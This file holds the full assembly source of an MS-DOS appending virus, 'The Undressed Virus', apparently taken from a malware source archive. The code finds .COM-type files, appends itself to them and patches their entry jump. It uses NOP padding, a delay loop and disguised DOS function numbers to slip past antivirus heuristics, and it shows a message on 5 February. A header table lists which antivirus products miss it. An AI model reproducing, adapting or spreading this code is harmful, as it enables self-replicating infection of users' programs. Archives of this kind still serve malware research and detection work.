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vxug-MalwareSourceCode/MSDOS/U-Index/Virus.MSDOS.Unknown.undr.asm
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2022-08-21 04:07:57 -05:00

126 lines
2.4 KiB
NASM

; Virus: The Undressed Virus
; Author: Arsonic[Codebreakers]
; Type: Appending
; Encryption: No
;
; Displays a Message on Feb 5th.
; Btw.. I Love Lisa..!
;---------------------------------------------------------------------------------------------------
; AV-Product | Detected? | Comments
;---------------------------------------------------------------------------------------------------
; F-Prot | No | Easy to Get Past.. FPROT SUCKS!
; TBAV | Unknown Virus | Well.. at least it aint say VCL!
; AVP | VCL.824 | VCL! ARRGGGHH!
;----------------------------------------------------------------------------------------------------
db 0e9h,0,0
start:
call delta
delta:
pop bp
sub bp,offset delta
mov cx,0ffffh ;kill heristics
fprot_loopy:
jmp back
mov ax,4c00h
int 21h
back:
loop fprot_loopy
mov cx,3
nop
mov di,100h
nop
lea si,[bp+buffer]
nop
rep movsb
find_first:
mov ah,4ch
add ah,2
nop
find_next:
nop
lea dx,[bp+filemask]
nop
int 21h
jnc infect
jmp check_payload
infect:
mov ax,3d02h
mov dx,9eh
int 21h
xchg ax,bx
mov ah,3dh
add ah,2
mov cx,3
lea dx,[bp+buffer]
int 21h
mov ax,word ptr[80h + 1ah]
nop
sub ax,end - start + 3
nop
cmp ax,word ptr[bp+buffer+1]
nop
je close_file
mov ax,word ptr[80h + 1ah]
nop
sub ax,3
nop
mov word ptr[bp+three+1],ax
mov ax,4200h
xor cx,cx
cwd
int 21h
mov ah,3eh
add ah,2
nop
lea dx,[bp+three]
nop
mov cx,3
nop
int 21h
mov ax,4202h
xor cx,cx
cwd
int 21h
mov ah,3eh
add ah,2
nop
lea dx,[bp+start]
nop
mov cx,end - start
nop
int 21h
close_file:
mov ah,3ch
add ah,2
int 21h
mov ah,4dh
add ah,2
jmp find_next
check_payload:
mov ah,2ah
int 21h
cmp dh,2 ;is it febuary?
je next
jmp close
next:
cmp dl,5 ;the 5th?
je payload ;yes.. display the message
jmp close ;no.. return control to the program.
payload:
mov ah,9h ;display message
lea dx,[bp+message]
int 21h
int 00h ;get keypress
int 16h
int 20h ;return to dos.
close:
mov di,100h ;return control to program
jmp di
three db 0e9h,0,0
filemask db '*.co*',0 ;if *.com it would be detected as trival variant
buffer db 0cdh,20h,0
virus db 'The UnDreSSeD',0 ; messages to give those av'ers a
author db 'Arsonic[CB]',0 ; nice scan string..
message db 'Happy Birthday Lisa!',10,13,'$'
Lisa db 'I LOVE U LISA!',0
end: